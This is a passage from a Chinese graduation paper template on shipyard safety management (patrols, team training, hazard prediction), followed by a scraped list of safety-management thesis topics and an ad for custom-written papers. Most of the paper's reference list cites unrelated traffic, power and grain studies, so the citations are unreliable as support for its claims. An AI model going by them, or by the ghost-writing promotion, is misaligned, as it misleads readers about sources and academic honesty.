2.巡回檢查體制，包括每月一次的總經(jīng)理安全巡回、部長安全巡回、各科安全巡回、統(tǒng)轄安全巡回以及安全部門集體巡回和每周一次的專項巡回。

大連理工大學(xué)網(wǎng)絡(luò)教育學(xué)院畢業(yè)大作業(yè)模板

3.安全部門的監(jiān)督指導(dǎo)。在自主管理體制下，安全部門的最主要的職責(zé)是倡導(dǎo)安全理念，建立合理的管理程序，維護改善體制的運行，把握監(jiān)督現(xiàn)場安全狀況，指導(dǎo)安全管理與作業(yè)方法。安全部門每月派員參加各部(科)的安全會議、安全巡回，除現(xiàn)場指正問題外每周向相關(guān)部門反饋安全巡回結(jié)果并跟蹤結(jié)果的反饋與整改情況，并對各部門的安全管理實況進行月度評價考核。

4.強化基層特別是班組的安全管理。船舶企業(yè)通過定期組織班組長培訓(xùn)，幫助建立班組安全管理手冊，設(shè)立班組標(biāo)示板等形式來不斷提高班組長的安全意識，增長安全知識，提高班組管理技能，使班組長能主動履行班組安全監(jiān)督的責(zé)任，確保船舶企業(yè)安全管理最重要的基層組織運行良好。2.4抓好現(xiàn)場生產(chǎn)的安全管理

生產(chǎn)現(xiàn)場是企業(yè)生產(chǎn)力的載體，是職工直接從事生產(chǎn)活動、創(chuàng)造價值與使用價值的場所。企業(yè)向社會和市場提供的商品要通過生產(chǎn)現(xiàn)場制造出來；職工的精神面貌、道德、作風(fēng)在生產(chǎn)現(xiàn)場培養(yǎng)和體現(xiàn)出來的；投入生產(chǎn)的各種要素要在生產(chǎn)現(xiàn)場優(yōu)化組合后才能轉(zhuǎn)換為生產(chǎn)力，所有這些都要通過現(xiàn)場的有效管理才能實現(xiàn)?，F(xiàn)場管理水平的高低，直接關(guān)系到產(chǎn)品質(zhì)量的好壞、消耗與效益的高低，以及企業(yè)在市場競爭中的適應(yīng)能力和競爭能力。生產(chǎn)現(xiàn)場安全管理是現(xiàn)場管理中的重要環(huán)節(jié)，是現(xiàn)場各項生產(chǎn)活動能高效有序地進行并最終實現(xiàn)生產(chǎn)目標(biāo)的基本保證。

2.5建立可行的規(guī)范，提高安全規(guī)則的執(zhí)行力

船舶企業(yè)自開展造船生產(chǎn)以來，逐步建立完善了安全管理各級程序文件，包括船舶企業(yè)級安全管理手冊、安全管理規(guī)定基準(zhǔn)和部門級安全作業(yè)基準(zhǔn)。船舶企業(yè)在制定安全管理體系各級程序文件的時候，既考慮國家法律法規(guī)，更充分考慮制度或其建立的程序的可執(zhí)行性，確保建立的規(guī)則使員工能理解、可接受、易執(zhí)行。特別是非常強調(diào)要嚴(yán)格執(zhí)行的作業(yè)基準(zhǔn)，與業(yè)內(nèi)常說的安全操作規(guī)程的最大區(qū)別就是不但明確地告訴你能做什么，不能做什么，而且根據(jù)作業(yè)類別告訴作業(yè)者第一步做什么，第二步做什么，這其中必須要遵守的是什么，禁止的是什么，作業(yè)者做事就依據(jù)基準(zhǔn)所規(guī)定的程序及操作方法，按部就班地執(zhí)行。當(dāng)發(fā)現(xiàn)已經(jīng)

大連理工大學(xué)網(wǎng)絡(luò)教育學(xué)院畢業(yè)大作業(yè)模板

執(zhí)行的規(guī)定、基準(zhǔn)在現(xiàn)場很難推行或執(zhí)行時，管理者要考慮的不光是加強教育、監(jiān)督甚至處罰的力度，而且要考慮制度基準(zhǔn)的合理性，了解為什么難于執(zhí)行，通過與作業(yè)者、組長共同探討來修正基準(zhǔn)，在保持執(zhí)行規(guī)定的嚴(yán)肅性的同時使作業(yè)者容易接受并樂于執(zhí)行。比如，船舶企業(yè)原來規(guī)定在碼頭舾裝船機艙內(nèi)禁止吸煙，這是為了防止吸煙特別是亂丟煙蒂而引發(fā)舾裝船機艙火災(zāi)。但是，在實踐中，個別員工抽煙的情況很難得到有效的禁止，個別員工往往會在休息時躲起來偷偷地抽，反而更危險。經(jīng)過研討，對機艙內(nèi)各區(qū)域危險性進行了評估，船舶企業(yè)更改了有關(guān)制度，在機艙內(nèi)設(shè)置了指定吸煙地點并配置煙灰缸，規(guī)定員工要在指定場所吸煙，既確保安全又讓員工在休息時以自己喜歡的方式適當(dāng)?shù)胤潘伞?.6做好船舶企業(yè)的安全管理培訓(xùn)

1.開展“危險預(yù)知訓(xùn)練活動”，提高員工對危險的感知性。“危險預(yù)知訓(xùn)練”用存在不安全狀態(tài)、不安全行為的圖片讓大家分析現(xiàn)狀、找出危險、確立對策然后確定班組或自己以后的行動目標(biāo)，從而逐步培養(yǎng)員工對危險的認(rèn)識及動作前預(yù)知危險的行為習(xí)慣。船舶企業(yè)還提出了現(xiàn)場作業(yè)者“STOP-5 s危險預(yù)知”，目的是為了進一步使作業(yè)者養(yǎng)成在動作之前，暫停預(yù)知危險，確認(rèn)安全后再進行下一動作的習(xí)慣。

2.努力摸索能讓作業(yè)者特別是文化程度較低的作業(yè)者容易接受的方式來進行培訓(xùn)和教育。從員工的入廠教育到特種作業(yè)人員資格培訓(xùn)以及其他特別培訓(xùn)，船舶企業(yè)安全管理部門都用POWERPO INT制作了多媒體的教育資料，力求使培訓(xùn)教育的形式和內(nèi)容更豐富，教育的效果更好。船舶企業(yè)定期拍攝現(xiàn)場作業(yè)中存在不安全狀態(tài)、不安全行為(部分是故意設(shè)置的)的電視片讓員工來“找錯”。船舶企業(yè)安全管理部門還將月度安全重點管理項目的要點以漫畫的形式把它繪制出來，每月更換粘貼在宣傳欄、休息場所、分發(fā)到作業(yè)現(xiàn)場等處進行宣傳，以此增長員工安全知識，提醒員工注意重點的事項。

3.通過事故案例來進行教育。發(fā)生事故或重大危險經(jīng)歷召開對策會議后，船舶企業(yè)都將事故經(jīng)過、事故原因和防范對策并配之以圖片以通報的形式在最短的時間內(nèi)發(fā)送到各部門，讓各相關(guān)人員吸取教訓(xùn)，查找排除自己作業(yè)場所、行為中存在的類似隱患。

大連理工大學(xué)網(wǎng)絡(luò)教育學(xué)院畢業(yè)大作業(yè)模板

4.讓員工自己教育自己。船舶企業(yè)開展的“一日一善”活動，就是通過開展員工“每人每天做一件安全好事”的活動，讓員工自己判斷哪些事是正確的，是船舶企業(yè)提倡的，以達到讓員工自己教育自己，自己激勵自己的目的。船舶企業(yè)方面，也對做安全好事的員工及時地進行獎勵。

5.在管理中不斷進行培訓(xùn)，強化安全要點和安全意識。船舶企業(yè)內(nèi)部有一個晨會制度，由組長對組員進行當(dāng)天作業(yè)安全提醒，將上級的安全指示及時傳達給作業(yè)者，最后針對當(dāng)天作業(yè)的安全要點集體進行唱和，船舶企業(yè)還有一個小組(Group)集體安全巡回活動，每天由安全部門一名人員帶領(lǐng)從各車間抽調(diào)的3人到4人進行現(xiàn)場安全巡回，安全管理部門的管理監(jiān)督者每天在現(xiàn)場巡回，發(fā)現(xiàn)問題及時指出。

3.結(jié)論

船舶工業(yè)安全生產(chǎn)管理是隨著船舶生產(chǎn)的發(fā)展而發(fā)展的，隨著時代的變遷而進步的。我們要以要堅持節(jié)約發(fā)展、清潔發(fā)展、安全發(fā)展，把安全發(fā)展作為一個重要理念納入我國現(xiàn)代化建設(shè)的總體戰(zhàn)略。船舶工業(yè)要保持高速度發(fā)展勢頭必須要有安全穩(wěn)定的局面作保證。只有加強生產(chǎn)中的安全管理，才可以達到高標(biāo)準(zhǔn)的安全生產(chǎn)發(fā)展目標(biāo)。

大連理工大學(xué)網(wǎng)絡(luò)教育學(xué)院畢業(yè)大作業(yè)模板

參考文獻

1．馬駿，OD估計模型的發(fā)展[J]，公安大學(xué)學(xué)報(自然科學(xué)版)，1997年02期

2．李欣然,賀仁睦,周文,張伶俐，綜合負(fù)荷感應(yīng)電動機模型的改進及其描述能力[J]，電力系統(tǒng)自動化，1999年09期

3．尹娟,郭國會，人工神經(jīng)網(wǎng)絡(luò)在交通網(wǎng)絡(luò)OD矩陣推算中的應(yīng)用[J]，浙江大學(xué)學(xué)報(工學(xué)版)，2000年04期

4．楊蘊霞,王小虹，航運安全新理念——介紹船舶安全的IM模型[J]，航海教育研究，2001年02期

5．宋中民,肖新平，反向累加生成及灰色GOM(1,1)模型[J]，武漢理工大學(xué)學(xué)報(交通科學(xué)與工程版)，2002年04期

6．金雙泉,李碩,杜攀峰，交通仿真軟件在線控系統(tǒng)中的應(yīng)用研究[J]，公路交通科技，2003年05期

7．路靜,吳超仲,嚴(yán)新平，NETSIM模型的分析研究[J]，交通與計算機，2003年06期 8．廖永松,黃季焜，21世紀(jì)我國糧食安全保障與灌溉需水預(yù)測[J]，中國水利，2004年01期

9．金雙泉,李嘉,杜攀峰，仿真技術(shù)應(yīng)用于環(huán)形交叉口通行能力中的研究[J]，公路交通科技，2004年02期

10．廖永松,黃季焜，21世紀(jì)全國及九大流域片糧食需求預(yù)測分析[J]，南水北調(diào)與水利科技，2004年01期

第三篇：安全管理畢業(yè)論文

安全管理畢業(yè)論文選題

以下是莫文網(wǎng)余老師提供的的畢業(yè)論文題目，完整的論文包含摘要、關(guān)鍵詞、文字說明、圖表，此外還應(yīng)該重視原創(chuàng)問題，如果需要定制論文或者具體的范文，可以看下莫文網(wǎng)。

起重運輸機械現(xiàn)代化安全管理系統(tǒng)研究 高速公路安全管理對策初探

淺談如何加強施工現(xiàn)場的本質(zhì)化安全管理 內(nèi)部網(wǎng)系統(tǒng)的網(wǎng)絡(luò)信息安全管理 電子病歷的安全管理策略分析 雜物電梯的安全管理

玻璃體內(nèi)注藥術(shù)的護理配合及安全管理 危重癥患者的轉(zhuǎn)運及安全管理方法

高校圖書館電子閱覽室信息服務(wù)與安全管理 建筑工程科學(xué)提高安全管理水平

論圖書館自動化集成系統(tǒng)中數(shù)據(jù)的安全管理 對檔案安全管理工作的探討研究 企業(yè)安全管理診斷理論研究 電子文件信息安全管理評估體系研究 建筑施工機械安全管理研究

如何加強心內(nèi)科老年患者的護理安全管理 礦山機電安全管理存在的問題及措施 當(dāng)前礦山的安全現(xiàn)狀分析與安全管理 建筑企業(yè)安全管理的成本效益分析

兒童惡性骨腫瘤患者留置PICC導(dǎo)管的安全管理 杜邦安全管理理論對護理安全管理的啟示 護理安全管理對婦科圍手術(shù)期的作用 淺議檔案安全管理工作

淺析建筑工程安全管理中存在的問題及解決方法 淺談市政工程施工安全管理 淺析橋梁安全管理

基于Web混合模式的煤礦安全管理信息系統(tǒng) 老年患者口服藥物的安全管理 淺談燃?xì)馄髽I(yè)的安全管理 水利施工企業(yè)起重機械的安全管理

企業(yè)系統(tǒng)化安全管理的主要問題及成因分析 對水電工程安全管理“以人為本”理念的淺析 基于事故致因理論的核電工程安全管理能力結(jié)構(gòu) 患者參與護理安全管理的實施與效果評價 一體化動態(tài)安全管理 優(yōu)質(zhì)護理服務(wù)下的安全管理 涉密單位網(wǎng)絡(luò)安全管理的難點與對策 施工項目安全管理體系的構(gòu)建與探討 淺析物理行業(yè)安全管理

安全管理堵與疏(1)——安全管理的經(jīng)濟分析 安全管理堵與疏(2)——安全管理的經(jīng)濟分析 淺談節(jié)假日護理工作中的安全管理

一種現(xiàn)代化的安全管理方法──安全管理信息系統(tǒng) 局域網(wǎng)網(wǎng)絡(luò)維護和安全管理 企業(yè)安全管理診斷技術(shù)研究

淺談安全管理在ERP項目實施團隊的應(yīng)用 大型超市安全管理的定量評價研究

當(dāng)前我國安全管理存在的問題分析及對策探討 談煤礦機電設(shè)備的安全管理與維護

數(shù)據(jù)倉庫技術(shù)在煤礦安全管理方面的應(yīng)用研究 患者安全管理流程再造在手術(shù)室的應(yīng)用 我國與歐洲鋼鐵企業(yè)安全管理的差異與對策研究 高職大學(xué)生安全管理的思考

淺談建筑施工現(xiàn)場安全管理中存在問題及管理措施 發(fā)電企業(yè)安全管理與安全監(jiān)督管理 ICU檢驗“危機值”護理安全管理的體會 安全管理:高職院校建設(shè)和諧校園的基礎(chǔ)

手術(shù)標(biāo)本保管和送檢流程在手術(shù)室安全管理中的作用 淺論煤炭企業(yè)的安全管理

優(yōu)化安全管理架構(gòu) 提升安全管理水平安全管理與企業(yè)發(fā)展的關(guān)系 安全管理相關(guān)組織屬性的比較研究 業(yè)主建筑施工安全管理模式探討

企業(yè)安全文化是創(chuàng)造良好安全業(yè)績的保證——解析杜邦公司的安全管理模式 基于行為科學(xué)的組織安全管理方案模型 談圖書館局域網(wǎng)的安全管理 空中交通安全管理實現(xiàn)路徑探究

新時期構(gòu)建校園安全管理長效機制的探討 淺談加強建筑施工現(xiàn)場安全管理的要點

嚴(yán)格實施手術(shù)室安全管理規(guī)章制度是減少護理差錯事故的關(guān)鍵 鐵路機務(wù)系統(tǒng)安全管理面臨的新挑戰(zhàn) 安全管理中計算機信息化系統(tǒng)的應(yīng)用分析 護理安全管理在外科老年患者中的應(yīng)用 護理安全管理課程設(shè)置及應(yīng)用

建立“以人為本”的本質(zhì)安全管理體系 高校安全管理重要性研究

安全防護圖標(biāo)在神經(jīng)內(nèi)科患者安全管理中的應(yīng)用 監(jiān)理企業(yè)的安全管理 淺談安全管理的特點 解析安全管理信息系統(tǒng) 基于可拓理論的建筑施工安全管理系統(tǒng)研究 口腔專科醫(yī)院尖銳器械使用的安全管理

基于安全鏈模型的大型石化建設(shè)項目安全管理分析 泰州大橋工程項目建設(shè)單位安全管理實踐探討 深入探討企業(yè)網(wǎng)絡(luò)安全管理中的常見問題 智能巡檢管理系統(tǒng)在精神科夜班安全管理中的應(yīng)用 重點探討如何提高項目安全管理水平安全管理的系統(tǒng)思維方法

信息技術(shù)在我國煤炭企業(yè)安全管理中的應(yīng)用 淺談企業(yè)安全管理

房建施工中質(zhì)量與安全管理的研究 冶金企業(yè)安全管理長效機制探討

護理標(biāo)識在護理安全管理中的應(yīng)用及效果 試論企業(yè)安全管理及主要對策 變電站建設(shè)工程安全管理淺議 護理安全管理的運作模式探討 加強安全管理 保障地勘經(jīng)濟發(fā)展 淺談企業(yè)安全管理及主要對策

安全倫理與“道德的”安全管理模式建構(gòu) 試論化工安全管理的重要性 強化建筑工程安全管理的措施 淺談如何做好采油廠的安全管理 淺析油田土木施工安全管理 骨傷科病房安全管理的實踐及體會 面向大數(shù)據(jù)的企業(yè)安全管理方案探討

鐵路政工工作與安全管理有效融合的管理模式探索 現(xiàn)代企業(yè)安全管理的重要性與實施策略

護理安全干預(yù)機制在手術(shù)室安全管理中的應(yīng)用效果 提升工程項目施工現(xiàn)場安全管理水平的措施 簡述水電施工企業(yè)安全管理 基層供電所安全管理

鐵路局安全管理信息系統(tǒng)的研究與設(shè)計 新形勢下中小化工企業(yè)安全管理的路徑探析 關(guān)于有軌電車運營車務(wù)安全管理的探討 PDCA循環(huán)在ICU高危藥品安全管理中的應(yīng)用 我國道路施工的安全管理 大中型企業(yè)安全管理預(yù)警技術(shù)研究

前瞻性理念在臨床教學(xué)護理安全管理中的應(yīng)用 淺談企業(yè)安全文化建設(shè)與安全管理 核電廠技術(shù)改造中的安全管理創(chuàng)新 淺談物流安全管理與應(yīng)用 新型電力基建安全管理分析

淺談國際安全評級系統(tǒng)在化工企業(yè)安全管理中的應(yīng)用 芻議建筑施工現(xiàn)場安全管理

交接班流程管理在護理安全管理中的應(yīng)用 淺議工程監(jiān)理中的安全管理 加強安全管理 確保校園平安 淺析工程項目監(jiān)理中的安全管理 疾病控制中心網(wǎng)絡(luò)安全管理策略分析 軍工科研實驗安全管理的實踐與創(chuàng)新 安全管理信息系統(tǒng)的發(fā)展

JCI標(biāo)準(zhǔn)在住院患者使用約束具安全管理中的應(yīng)用 抓好煤礦安全管理 提高企業(yè)員工安全素質(zhì)芻議 電子政務(wù)中的安全管理研究 淺談供電企業(yè)安全管理

港口安全管理現(xiàn)狀分析及對策研究 工程項目現(xiàn)場安全管理新探索

我國臨床高危藥品安全管理的文獻計量分析 安全生產(chǎn)及安全管理信息化建設(shè)討論 天津地鐵運營安全管理信息系統(tǒng)的構(gòu)建 加強安全管理 提高經(jīng)濟效益的思考 臺灣煤礦安全管理經(jīng)驗與借鑒 探討強化建筑工程安全管理的措施 關(guān)于公路橋梁施工中的安全管理的探究

淺析成品油銷售企業(yè)工程安全管理——以中石油寧夏銷售公司工程安全管理為例

基于杜邦式的中油煉化企業(yè)安全管理體系改進研究 健全安全管理體系 促進療養(yǎng)院安全穩(wěn)定發(fā)展 石油企業(yè)安全管理存在問題與管理對策探討 淺析如何推行專業(yè)化安全管理

我國鋼鐵企業(yè)安全管理發(fā)展?fàn)顩r的分析與研究 起重運輸機械現(xiàn)代化安全管理系統(tǒng)研究 高速公路安全管理對策初探

淺談如何加強施工現(xiàn)場的本質(zhì)化安全管理 內(nèi)部網(wǎng)系統(tǒng)的網(wǎng)絡(luò)信息安全管理 電子病歷的安全管理策略分析 雜物電梯的安全管理

玻璃體內(nèi)注藥術(shù)的護理配合及安全管理 危重癥患者的轉(zhuǎn)運及安全管理方法

高校圖書館電子閱覽室信息服務(wù)與安全管理 建筑工程科學(xué)提高安全管理水平

論圖書館自動化集成系統(tǒng)中數(shù)據(jù)的安全管理 對檔案安全管理工作的探討研究 企業(yè)安全管理診斷理論研究 電子文件信息安全管理評估體系研究 建筑施工機械安全管理研究

加強農(nóng)作物及其產(chǎn)品安全管理應(yīng)對入世帶來的機遇與挑戰(zhàn) 談醫(yī)院資金安全管理

全面質(zhì)量管理理論在新生兒科高危藥品安全管理中的應(yīng)用 淺談煤層氣企業(yè)標(biāo)準(zhǔn)化安全管理 加油站安全管理分析與優(yōu)化分析 水利工程歲修項目安全管理問題與對策 安全管理重在現(xiàn)場探討 醫(yī)院信息系統(tǒng)的安全管理

遷安市經(jīng)濟適用房建設(shè)工程安全管理對策 安全管理控制措施在建筑施工中的重要性 高校危險物品安全管理規(guī)范化研究 探究責(zé)任心和執(zhí)行力在安全管理中的作用 我國港口安全管理機制研究探討 空中交通管制安全管理研究 建筑工程施工過程中的安全管理重點 安全管理之我見

發(fā)電集團安全管理實踐與探索

校園網(wǎng)絡(luò)安全管理中的黑客入侵與防范 手術(shù)患者靜脈輸液的安全管理 淺談建筑施工現(xiàn)場的安全管理

項目安全管理中存在的問題及解決方案 水電設(shè)備檢修安全管理的探討 論學(xué)校安全管理措施

煤礦井下采掘安全管理的改進研究 加強眼科散瞳藥的安全管理 榮泰礦安全管理存在的問題及對策 強化建筑工程安全管理的措施研究

血液科病區(qū)實施藥品安全管理的方法與效果 基于文化引領(lǐng)的高職院校安全管理軟實力提升 加油站安全管理的問題及對策研究 淺論建筑工程安全管理 煤礦機電設(shè)備的安全管理與維護 化工行業(yè)安全管理的重要性問題探討 化學(xué)科研實驗室安全管理對策

安全管理中“重處罰輕激勵”問題的博弈分析 淺談公路工程施工中的安全管理 淺析建筑工程施工安全管理

推進安全管理規(guī)范化工作的實踐和思考 海洋工程項目建設(shè)中的安全管理 安全管理在煤礦開采中的重要性 預(yù)防接種安全管理的應(yīng)用及效果分析 鐵路工程的安全管理探討

加強病區(qū)高危藥品安全管理的實踐與效果 珠海市拱北轄區(qū)幼兒園安全管理現(xiàn)況及對策 煤礦安全管理信息系統(tǒng)的開發(fā)與應(yīng)用 安全管理與執(zhí)行力

淺談應(yīng)用法家思想促進企業(yè)安全管理 加強安全管理 提高精神科護理質(zhì)量

卒中病房實施護理工作安全管理的方法和體會 淺談企業(yè)安全管理及主要對策

大崗山公司在安全管理主導(dǎo)作用上的探索 屏障技術(shù)在護理安全管理中的應(yīng)用 電力企業(yè)安全管理信息系統(tǒng)的設(shè)計和實現(xiàn)

基于ArcIMS的高校安全管理與救援輔助WebGIS開發(fā) 淺析瞻園園林安全管理工作 淺議數(shù)控實習(xí)安全管理 手術(shù)病人的安全管理

分布式環(huán)境下安全管理平臺系統(tǒng)的設(shè)計與實現(xiàn) 企業(yè)安全管理信息系統(tǒng)的總體構(gòu)建 安全管理信息系統(tǒng)學(xué)的創(chuàng)建、內(nèi)涵與外延 標(biāo)準(zhǔn)化安全管理的探索與實踐

船長如何對船舶安全管理體系的運行進行監(jiān)控 淺析工程建設(shè)監(jiān)理中的安全管理 鐵路企業(yè)安全管理淺談

安全管理決策支持系統(tǒng)的管理控制框架探討 企業(yè)安全管理信息化探討

安全管理對建筑工程項目管理的意義 美國強化食品的安全管理及對我國的啟示 高校學(xué)生安全管理的法理分析與制度建構(gòu)研究 淺談地質(zhì)工程施工項目安全管理常態(tài)化的目標(biāo)實現(xiàn) 網(wǎng)格化在消防防火安全管理中的作用研究 建筑工程施工現(xiàn)場的安全管理與防范 體育彩票安全管理體系構(gòu)建 化工安全管理的重要性淺析

前饋控制在手術(shù)室護理安全管理中的應(yīng)用 淺談化工安全管理的重要性 油田工程建設(shè)安全管理策略和實踐 論建筑工程的安全管理與控制 淺談地鐵站務(wù)安全管理

淺議石油企業(yè)安全管理的建設(shè)途徑 強化校園綜治安全管理

做好基層安全管理工作的幾點思考 圍手術(shù)期患者的安全管理 水利工程檔案的安全管理

安全管理在護理管理中的重要性探討 建筑工程的安全管理與進度控制

試論油田作業(yè)安全管理的常見問題及對策 淺談石化企業(yè)安全文化建設(shè)在安全管理中的作用 安全管理在護理管理中的重要性 淺論煤礦開采安全管理之關(guān)鍵 基于配電網(wǎng)安全管理的探討

建筑施工安全管理存在的問題及對策研究 雪峰山特長鐵路隧道施工安全管理 建筑工程施工中的安全管理 建筑施工安全管理研究

探討安全文化在護理安全管理中的應(yīng)用 醫(yī)療器械安全管理的研究 城市公共安全管理GIS的應(yīng)用探討

中小民營企業(yè)安全管理內(nèi)在動力激發(fā)的策略研究 基于安全學(xué)習(xí)志的安全管理信息系統(tǒng)構(gòu)建 手術(shù)室低年資護士安全管理提高護理質(zhì)量 杜邦安全理念對高校實驗室安全管理的啟示 手術(shù)室護理安全隱患原因與安全管理應(yīng)用研究進展 高大模板支撐體系安全管理評價研究 淺析社保基金的安全管理

從風(fēng)險管理視角加強電子檔案安全管理 試論建筑施工的質(zhì)量管理與安全管理 醫(yī)學(xué)院?；瘜W(xué)實驗室安全管理的探討

分析施工過程中的安全管理—“現(xiàn)場技術(shù)問答法” 淺談企業(yè)安全管理工作的基礎(chǔ)-班組安全管理 高職院校學(xué)生安全管理思考

安全管理對現(xiàn)代工程施工現(xiàn)場管理產(chǎn)生的影響分析 淺議我國建筑施工企業(yè)安全管理 物資倉儲安全管理控制措施分析

淺談安全管理模式在電力工程施工現(xiàn)場的應(yīng)用 基于系統(tǒng)動力學(xué)的高鐵安全管理研究 中美煤礦安全管理差異研究 淺論工程施工現(xiàn)場安全管理 高校實驗室安全管理探索 石油企業(yè)安全管理探討 淺議如何加強安全管理工作 論電力工程項目的安全管理 熱電廠安全管理的幾點思考

煤炭開采過程中的安全管理問題及策略 護理工作中安全管理實踐探討 門診護理安全管理的難點與重點探析 農(nóng)電安全管理監(jiān)督與就地護線檢查雙向融合 農(nóng)電安全管理中存在的主要問題及對策 圖書館安全管理工作初探 淺談船舶機務(wù)維修安全管理

水電廠安全管理中存在的問題和對策分析 寧波港域危險貨物安全管理存在問題及對策 海陽核電項目安全管理實踐與創(chuàng)新 論建筑施工中的安全管理 建筑工程全過程安全管理

美國高校實驗室廢棄物安全管理淺析 稅務(wù)信息化建設(shè)中的終端安全管理問題探討 民航安全管理體系(SMS)淺析 加強安全管理,防范煤礦安全生產(chǎn)事故 QC在安全管理中的應(yīng)用 化工過程安全管理進展 酒店業(yè)會展活動的安全管理研究 五九煤炭公司的安全管理對策 港口安全管理評估量化研究 累進式積分方法在安全管理中的應(yīng)用 現(xiàn)代安全管理的新課題——風(fēng)險評估 關(guān)于建筑工程安全管理效益的思考 淺談提高地震勘探安全管理的幾點做法 電力檢修的安全管理探討 淺談運輸部協(xié)力安全管理工作

淺談建筑施工安全管理問題及對策分析 淺析建筑工程安全管理中存在的問題及解決方法 護理質(zhì)量與安全管理改進的實踐探索 安全管理在房建施工過程中的重要性論述 偏遠(yuǎn)井場安全管理方法探討

關(guān)于煤礦企業(yè)內(nèi)部安全管理問題的分析研究及建議 淺談安全管理重在提升安全素質(zhì) 工程施工安全管理研究與實踐應(yīng)用 汽車站的安全管理措施與防范策略分析 新時期煤礦機電安全管理的發(fā)展與創(chuàng)新研究 論如何加強油田安全管理的方法 道路旅客運輸企業(yè)安全管理對策研究 多哈新港項目土石方工程的安全管理 淺談高速公路工程建設(shè)的安全管理

安全管理軟件同防病毒軟件沖突的解決方案研究 建筑施工安全管理職責(zé)分配的現(xiàn)狀及思考 提高水利堤防工程的安全管理工作措施 冶金企業(yè)相關(guān)方安全管理淺析 小型水電站建設(shè)工程中的安全管理

對航運企業(yè)安全管理體系審核工作的發(fā)展研究 淺談我院護理安全管理的措施及體會 淺析電力企業(yè)的安全管理問題 論建筑工程項目加強安全管理

風(fēng)險控制技術(shù)在建筑施工安全管理中的應(yīng)用 護理安全管理在血管外科優(yōu)質(zhì)護理中的應(yīng)用 淺析市政工程安全管理信息系統(tǒng) 養(yǎng)老安全管理創(chuàng)新與信息化管理探索

安全管理在手術(shù)室護理中的應(yīng)用效果分析及體會 做好基層安全管理工作的幾點思考 開展安全管理效能監(jiān)察的實踐與思考 工程項目安全管理創(chuàng)新實現(xiàn)的途徑研究

當(dāng)前企業(yè)安全管理存在的當(dāng)前企業(yè)安全管理存在的主要問題和解決方法探索 加強建筑施工安全管理的有效路徑分析 業(yè)主單位應(yīng)對商務(wù)樓宇安全管理的對策與思考 施工現(xiàn)場安全管理存在問題的原因分析

企業(yè)安全管理工作應(yīng)著力采取的主要措施和有效途徑 注重創(chuàng)新力以提高安全管理的控制力 眼科患者住院期間的護理安全管理 我國與發(fā)達國家食品安全管理的比較

建立安全管理長效機制 確保安全生產(chǎn)長治久安 淺談實現(xiàn)煤炭企業(yè)安全管理科學(xué)化的途徑 企業(yè)安全管理成效的實證研究 儲氣庫的安全管理概述

淺談電力建設(shè)以人為本的安全管理

青藏鐵路二期土建工程第19標(biāo)段安全管理淺談 企業(yè)安全管理群體行為與動力理論探討

國際會議安全管理初探——以桂林2002博鰲亞洲旅游論壇為例 試論礦山企業(yè)轉(zhuǎn)機建制中的安全管理

加強領(lǐng)導(dǎo) 落實責(zé)任 進一步強化安全管理——1998年中國石化銷售公司安全工作會議工作報告

基于DEA模型的鈾礦山安全管理效率評價研究 專業(yè)技術(shù)在企業(yè)安全管理中的應(yīng)用

安全管理在手術(shù)室護理中的應(yīng)用與效果評估 建設(shè)工程項目安全管理概念技能探究 民航安全管理的體制改革創(chuàng)新研究 骨科日間手術(shù)的安全管理 建筑施工安全管理

層次分析法在礦山安全管理中的應(yīng)用研究 試析影響煤礦通風(fēng)安全管理的風(fēng)險因素 淺談油庫安全管理模式創(chuàng)新 淺談公路安全管理與經(jīng)濟效益的關(guān)系

安全管理對采用高壓氧治療一氧化碳中毒患者心理狀態(tài)的影響 學(xué)習(xí)型組織安全管理的內(nèi)涵和創(chuàng)新研究 化工企業(yè)安全管理的探討

基于HSE管理體系體系下的現(xiàn)代企業(yè)安全管理與安全文化 員工個體心理因素在安全管理中的影響分析及對策 淺議水利工程的安全管理

基于約哈里窗的安全管理溝通問題研究 境外施工企業(yè)安全管理與安全文化建設(shè)

基于個人數(shù)字助理(PDA)的安全管理移動辦公信息系統(tǒng)設(shè)計 業(yè)務(wù)外包環(huán)境下的企業(yè)安全管理 創(chuàng)新安全管理思路 完善安全管理體系 電力系統(tǒng)變電運行安全管理和設(shè)備的維護分析 關(guān)于加強民爆生產(chǎn)企業(yè)安全管理的探討 電力輸變電工程建設(shè)安全管理 化工企業(yè)安全管理的重要性 港口安全管理體系研究 施工企業(yè)安全管理淺析 探析電力檢修安全管理

對加強護理安全管理的認(rèn)識和思考 創(chuàng)新安全管理實現(xiàn)礦井持續(xù)性安全發(fā)展 建筑工程現(xiàn)場施工中的安全管理研究 試析水利渠道施工的安全管理 關(guān)于配電網(wǎng)安全管理問題及如何改進 電力安全管理中常見的問題及措施 老年心血管病住院患者的護理安全管理 安全文化在精神科安全管理中的應(yīng)用 手術(shù)室電外科安全管理價值分析 簡議高職院校學(xué)生公寓的安全管理 安全管理在煤礦采礦工程中的應(yīng)用探究 婦產(chǎn)科護理工作的安全管理 基于實踐教學(xué)安全管理常態(tài)化的研究 談?wù)勣r(nóng)村小學(xué)安全管理的有效方法 安全管理隊伍——安全工作中的中堅力量 對中西式安全管理之間沖突的分析 基層武器裝備安全管理文化淺析 管道工程的標(biāo)準(zhǔn)化PDCA安全管理 化工企業(yè)安全管理的若干對策 試論熱力管網(wǎng)施工現(xiàn)場安全管理工作 淺談建筑工程施工中的安全管理 基于檔案安全管理工作的分析

基于云模型的基層武器裝備安全管理文化評價仿真研究 關(guān)于改善幼兒園安全管理的若干建議

農(nóng)村民辦幼兒園安全管理問題調(diào)查研究——以橫店鎮(zhèn)為例 對協(xié)力安全管理的思考 淺談采油廠安全管理文化

依托合同過程對工程進行的安全管理 淺談我國高速公路的安全管理體系 水泥廠建筑施工中的安全管理

做好水利工程施工安全管理工作意義及措施 地鐵工程建設(shè)安全管理信息化應(yīng)用研究

安全管理視角下營銷風(fēng)險的預(yù)防與管控——以寧夏電力公司中衛(wèi)供電局為例 煤炭企業(yè)安全管理的研究及其實踐

會展旅游安全管理概念模型構(gòu)建——以中國-東盟博覽會為例 RFID在煤礦井下安全管理中的運用研究 完善電力安全管理長效機制的研究與實踐 安全文化與安全管理

新莊煤礦陽光安全管理體系的構(gòu)建與實施 新生兒病房安全管理及提高護理質(zhì)量水平的探討 淺談安全管理和安全管理體系的建立 基于行為的安全管理模式探討 淺談水電施工安全管理 航運公司安全管理調(diào)查研究 淺析變電運行的安全管理 采油生產(chǎn)過程的安全管理之我見 我國煤礦企業(yè)安全管理問題探討 安全管理的必要性及具體措施

以人的安全健康為核心的安全管理新體系的探討 正視存在問題 規(guī)范安全管理

基于模糊綜合評價法的建筑企業(yè)安全管理 安全管理“八法”的探索與研究 淺析我國煤礦的安全管理

